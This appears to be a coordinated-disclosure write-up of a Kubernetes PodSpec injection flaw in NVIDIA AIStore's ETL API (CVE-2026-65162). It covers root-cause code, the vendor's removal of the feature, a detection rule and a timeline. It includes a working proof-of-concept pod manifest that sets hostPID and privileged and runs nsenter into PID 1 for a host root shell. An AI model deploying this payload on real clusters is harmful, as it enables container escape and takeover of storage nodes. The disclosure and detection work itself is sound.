ShadowForge: Container Escape and Cluster Host Takeover via PodSpec Injection in NVIDIA AIStore
Classification: Orchestrated Spec-Passthrough (OSP): blind deserialization of a user-supplied Kubernetes PodSpec forwarded to the cluster API
Vendor advisory: NVIDIA Security Bulletin 5889 (published 2026-10-13; AIStore v5.0 architectural fix)
Credit: Mohamed Lemine Ahmed Jidou (AegisSec)
ShadowForge: When the Only Fix is Feature Amputation (CVE-2026-65162)
Orchestrated Spec-Passthrough (OSP) in NVIDIA AIStore leading to CVSS 10.0 Cluster TakeoverAuthor: Mohamed Lemine Ahmed Jidou (AegisSec)
Target: NVIDIA AIStore (AIS) < v5.0
CVE: CVE-2026-65162 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
Date: October 15, 2026
---

TL;DR
* The Flaw: NVIDIA AIStore's ETL API (PUT /v1/etl) blindly deserialized user-supplied Kubernetes PodSpecs and forwarded them to the K8s API without stripping SecurityContext attributes.
* The Bypass: The application's Validate() function enforced operational constraints (readiness probes, ports) but completely ignored security boundaries, allowing privileged: true and hostPID: true.
* The Impact: A remote attacker could schedule a fully privileged pod on the storage node, execute a nsenter container escape, and achieve root RCE on the underlying host (Cluster Takeover).
* The Fix (The Plot Twist): Instead of implementing the recommended allowlists, NVIDIA realized the architectural anti-pattern and surgically deleted the entire InitSpecMsg feature from the codebase in v5.0.
* The Class: We define this vulnerability class as Orchestrated Spec-Passthrough (OSP): when an application acts as a blind conduit for infrastructure-level execution specs.
---
1. Introduction: The Anatomy of a Conduit
In modern Cloud-Native architectures, applications often wrap infrastructure orchestration. AIStore (AIS), an open-source object storage system by NVIDIA, features a powerful ETL (Extract, Transform, Load) engine that allows users to run custom data transformations directly on the storage nodes via Kubernetes Pods.
To facilitate this, AIS exposed an HTTP endpoint (PUT /v1/etl) accepting an InitSpecMsg. This message contained a base64-encoded Kubernetes PodSpec. The application would decode this spec, validate it, attach internal storage volumes, and submit it to the Kubernetes API.
During a security audit of the AIS codebase, I discovered that this pipeline suffered from Orchestrated Spec-Passthrough (OSP). The application treated the PodSpec as a black box, validating only what it needed for its own data-plane operations, while silently forwarding root-level host privileges to the Kubernetes scheduler.
---
2. Evidence Ledger
Every claim in this research is anchored to verifiable code artifacts from commit 64421686c (pre-fix).
| ID | Artifact | Location | Observation |
| :--- | :--- | :--- | :--- |
| E-01 | Version Pinning | git log | v1.4.7-95-g64421686c (Vulnerable state) |
| E-02 | The Sink | ext/etl/api.go:355 | scheme.Codecs.UniversalDeserializer().Decode() |
| E-03 | Blind Parsing | ext/etl/api.go | ParsePodSpec() returns raw *corev1.Pod |
| E-04 | Missing Sanitization | ext/etl/* | ZERO references to SecurityContext or Privileged |
| E-05 | Weak Validator | ext/etl/api.go | Validate() checks ReadinessProbe, ignores security |
| E-06 | Bootstrap Passthrough | ext/etl/boot.go | _setVol() overrides volumes, retains host namespaces |
| E-07 | Attack Surface | ais/prxetl.go:91 | PUT /v1/etl model=[etl.ETLSpecMsg\ | etl.InitSpecMsg] |
| E-11 | Default Posture | deploy/ | ZERO PSA (Pod Security Admission) enforcement |
| E-13 | The Fix | origin/main diff | Complete deletion of InitSpecMsg and ParsePodSpec() |
---
3. Root Cause Analysis: The Three-Stage Failure
The vulnerability is not a simple misconfiguration; it is a systemic failure across the ETL lifecycle.
Stage 1: Blind Deserialization (The Sink)
When a user submits a payload to PUT /v1/etl, the API routes it to the ETL handler. The base64 spec field is decoded using the standard Kubernetes client-go library:
// ext/etl/api.go:355
func (m InitSpecMsg) ParsePodSpec() (corev1.Pod, error) {
obj, _, err := scheme.Codecs.UniversalDeserializer().Decode(m.Spec, nil, nil)
// ...
pod, ok := obj.(*corev1.Pod)
return pod, nil // Returns the exact object the attacker provided
}
Observation: No filtering, no schema validation, no stripping of elevated fields.Stage 2: The Illusion of Validation
AIStore implements a Validate() method. A cursory glance might suggest the application is secure. However, inspecting the logic reveals it is strictly operational, not security-oriented:
// ext/etl/api.go (Pre-fix)
func (m *InitSpecMsg) Validate() error {
pod, err := m.ParsePodSpec()
// ...
// Checks for exactly 1 container, 1 port named "default"
if container.ReadinessProbe == nil {
return cmn.NewErrETL(errCtx, "readinessProbe section is required...")
}
// VULNERABILITY: Zero inspection of pod.Spec.SecurityContext
// VULNERABILITY: Zero inspection of pod.Spec.HostPID / HostNetwork
return m.InitMsgBase.Validate(m.String())
}
By satisfying the ReadinessProbe requirement, an attacker easily bypasses the validator, while smuggling hostPID: true and privileged: true in the same payload.
Stage 3: The Bootstrap Passthrough
Before submitting the Pod to Kubernetes, AIS modifies the spec to inject its own internal storage volumes (PVCs). This happens in ext/etl/boot.go:
// ext/etl/boot.go
func (b *etlBootstrapper) _setVol() (err error) {
// ...
for i := range b.pod.Spec.Containers {
b.pod.Spec.Containers[i].VolumeMounts = mounts // Injecting AIS volumes
}
b.pod.Spec.Volumes = b.targetPodSpec.Volumes
// The malicious SecurityContext and HostPID remain completely untouched
return nil
}
The modified pod object is then handed directly to the Kubernetes API client. The AIS ServiceAccount (which inherently requires create pods RBAC to function) unknowingly commands the K8s scheduler to spawn a root-level container on the host.
---
4. The Exploit Chain: Forging the Shadow Pod
To eliminate environmental variables (like cluster PSA configurations) during the disclosure process, I developed a Code-Level In-Memory PoC using AIStore's own ext/etl package.
The Payload (TrojanSpec)
The payload is crafted to satisfy Validate() while maximizing host privileges:
apiVersion: v1
kind: Pod
metadata:
name: evil-etl
annotations:
communication_type: "hpush://"
spec:
hostPID: true # [!] Smuggled past Validate()
containers:
- name: server
image: alpine:latest
command: ["nsenter", "-t", "1", "-m", "-u", "-n", "-i", "sh"] # Escape vector
securityContext:
privileged: true # [!] Smuggled past Validate()
ports:
- name: default # Satisfies E-05
containerPort: 8000
readinessProbe: # Satisfies E-05
httpGet:
path: /health
port: defaultIn-Memory Verification
Running the PoC against the AIS ext/etl logic yields:
[+] VULNERABILITY CONFIRMED: Malicious payload successfully bypassed msg.Validate()
[!] MEMORY DUMP BEFORE KUBERNETES SUBMISSION:
-> HostPID Set: true
-> Privileged Set: trueThe Impact: Container Escape
Once the Kubernetes scheduler places this pod on an AIS storage node, the hostPID: true and privileged: true flags collapse the container boundary. The attacker uses nsenter to target PID 1 (the host's init system), gaining an immediate root shell on the underlying Linux node. From here, the attacker can access raw storage disks, pivot to other nodes, or install persistent rootkits.
---
5. The Plot Twist: Architectural Amputation (The Fix)
When reporting this to NVIDIA PSIRT, my recommended mitigations included:
1. Hardcoding HostPID = false, HostNetwork = false.
2. Stripping SecurityContext from user containers.
3. Implementing a strict Allowlist for PodSpec fields.
However, analyzing the diff between the vulnerable commit (64421686c) and the patched release (v5.0 / origin/main), NVIDIA engineers recognized a deeper truth: Allowing untrusted users to submit raw Kubernetes execution specs via an HTTP API is an unmitigatable anti-pattern.
The Diff (E-13)
Instead of writing complex sanitization logic, NVIDIA deleted the feature entirely from the open-source build:
- func (m *InitSpecMsg) Validate() error { ... }
- func (m InitSpecMsg) ParsePodSpec() (corev1.Pod, error) { ... }
In UnmarshalInitMsg, the fallback to InitSpecMsg was removed. The application now strictly enforces ETLSpecMsg (which relies on pre-built Docker images and does not accept raw PodSpecs). Furthermore, the ETL runtime functions in boot.go were stubbed out with return ErrNotBuilt.
Conclusion: The vulnerability was not a bug in the code; it was a flaw in the design. The only secure way to fix OSP was to remove the conduit.
---
6. Detection Guidance
For defenders managing AIStore clusters < v5.0, standard K8s Audit Logging can detect this exploitation attempt. Look for the AIS ServiceAccount creating pods with anomalous security contexts.
K8s Audit Rule (Sigma-style logic):
# Detect AIS ServiceAccount creating privileged pods
- rule: "AIS ETL Privileged Pod Creation"
condition: >
verb="create" and
objectRef.resource="pods" and
user.username="system:serviceaccount:ais:ais-service-account" and
requestObject.spec.containers[*].securityContext.privileged=true---
References
7. Coordinated Disclosure Timeline
* 2026-07-06: Initial discovery and In-Memory PoC developed. Report submitted to NVIDIA PSIRT.
* 2026-07-12: NVIDIA PSIRT acknowledges receipt and reproduces the Code-Level PoC.
* 2026-09-04: CVE-2026-65162 assigned.
* 2026-10-13: NVIDIA publishes Security Bulletin 5889, releasing AIStore v5.0 with the architectural fix.
* 2026-10-15: Public disclosure of this research.
Acknowledgments: I extend my gratitude to the NVIDIA PSIRT team for their professionalism, rapid validation of the in-memory PoC, and decisive architectural remediation.
---
Mohamed Lemine Ahmed Jidou is an independent security researcher specializing in Cloud-Native threat models and Kubernetes architecture.